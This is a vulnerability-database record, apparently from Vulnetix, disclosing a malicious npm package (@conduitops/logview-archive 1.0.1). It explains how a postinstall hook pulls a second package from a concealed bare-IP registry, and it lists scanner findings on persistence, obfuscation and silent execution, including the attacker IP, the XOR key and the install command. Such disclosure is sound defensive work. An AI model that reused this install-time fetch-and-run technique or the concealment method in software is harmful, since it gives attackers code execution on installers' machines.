{"dataType":"CVE_RECORD","dataVersion":"1.0","cveMetadata":{"cveId":"GCVE-110-OSM-2026-14060","assignerOrgId":"","assignerShortName":"Vulnetix","state":"PUBLISHED","datePublished":"2026-10-22T06:56:58Z","dateUpdated":"2026-10-24T04:09:28Z","dateReserved":""},"containers":{"cna":{"providerMetadata":null,"title":"","descriptions":[{"lang":"en","value":"On install, package.json's postinstall hook runs install.js, which invokes `npm install @conduit/logview-cli@2.2.0 --registry \u003cURL\u003e` where the registry URL is stored as a base64+XOR-masked string in lib/toolchain.json and decoded in memory by lib/origin.js (XOR key `c0ndu1t-ops`). The decoded destination is a plain-HTTP bare IP (http://139.196.94.195:8080/dl/npm/), not the public npm registry, a known publisher host, or an internal-DNS name consistent with the package's self-claimed `conduit.internal` provenance. npm will fetch and execute the lifecycle scripts of whatever package the attacker serves at that endpoint, giving arbitrary install-time code execution on the installer's host. A comment in lib/origin.js states the masking is intended so the downloaded package `carries no readable address`, confirming the concealment is deliberate rather than incidental.\n\nENTRY\n  install.js (install-hook: node install.js)\n  - Install Hook Executes Local JS File in package.json\n\nPERSISTENCE\n  - Startup Persistence in bin/logview-archive.js: \".profile\"\n  - Startup Persistence in src/core/envelope.js: \".profile\"\n  - Startup Persistence in src/core/kdf.js: \".profile\"\n  - Startup Persistence in src/core/keyring.js: \".profile\"\n  - Startup Persistence in src/core/stream.js: \".profile\"\n  - Startup Persistence in src/core/vault.js: \".PROFILE\"\n  - Startup Persistence in types/index.d.ts: \".Profile\"\n\nEXFIL\n  - System Information Collection in index.js: \"process.platform\"\n  - System Information Collection in install.js: \"process.platform\"\n\nOBFUSCATION\n  - Dynamic Base64 Decoding in lib/origin.js: \"Buffer.from(blob, 'base64')\"\n  - Deobfuscation Failed in lib/origin.js\n\nADDITIONAL FINDINGS\n  - Shell Command Execution in install.js: \"require('child_process')\"\n  - Silent Process Execution in install.js: \"stdio: 'ignore'\"\n  - Dynamic Code Execution in src/core/keyring.js: \"exec(candidate)\"\n  - Very New NPM Publisher Account\n\nPAYLOAD FILES\n  install.js (+ src/core/keyring.js, src/formats/ndjson.js)","supportingMedia":null}],"references":[{"url":"https://opensourcemalware.com/threats/9313fba0-2fb6-4f8e-b37d-a3b05aba0337","name":"Malicious npm package: @conduitops/logview-archive","tags":["advisory"]},{"url":"https://osv.dev/vulnerability/MAL-2026-18183","name":"","tags":["advisory"]},{"url":"https://registry.npmjs.org/@conduitops/logview-archive","name":"","tags":["vendor"]}],"metrics":[{"format":"CVSS_V3","scenarios":null,"cvssV2_0":null,"cvssV3_0":null,"cvssV3_1":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","baseScore":8.8,"baseSeverity":"HIGH"},"cvssV4_0":null,"other":null}],"problemTypes":[{"descriptions":[{"lang":"en","description":"Embedded Malicious Code","cweId":"CWE-506","type":"CWE"}]}],"affected":[{"vendor":"unknown","product":"@conduitops/logview-archive","collectionURL":"https://registry.npmjs.org","packageName":"@conduitops/logview-archive","repo":"","defaultStatus":"affected","versions":[{"version":"1.0.1","status":"affected","versionType":"","lessThan":"","lessThanOrEqual":"","changes":null}],"cpes":null,"modules":null,"programFiles":null,"platforms":null}],"cpeApplicability":null,"rejectedReasons":null,"replacedBy":null,"x_vulnetix_aliases":{"direct":["MAL-2026-18183"]}},"adp":null}}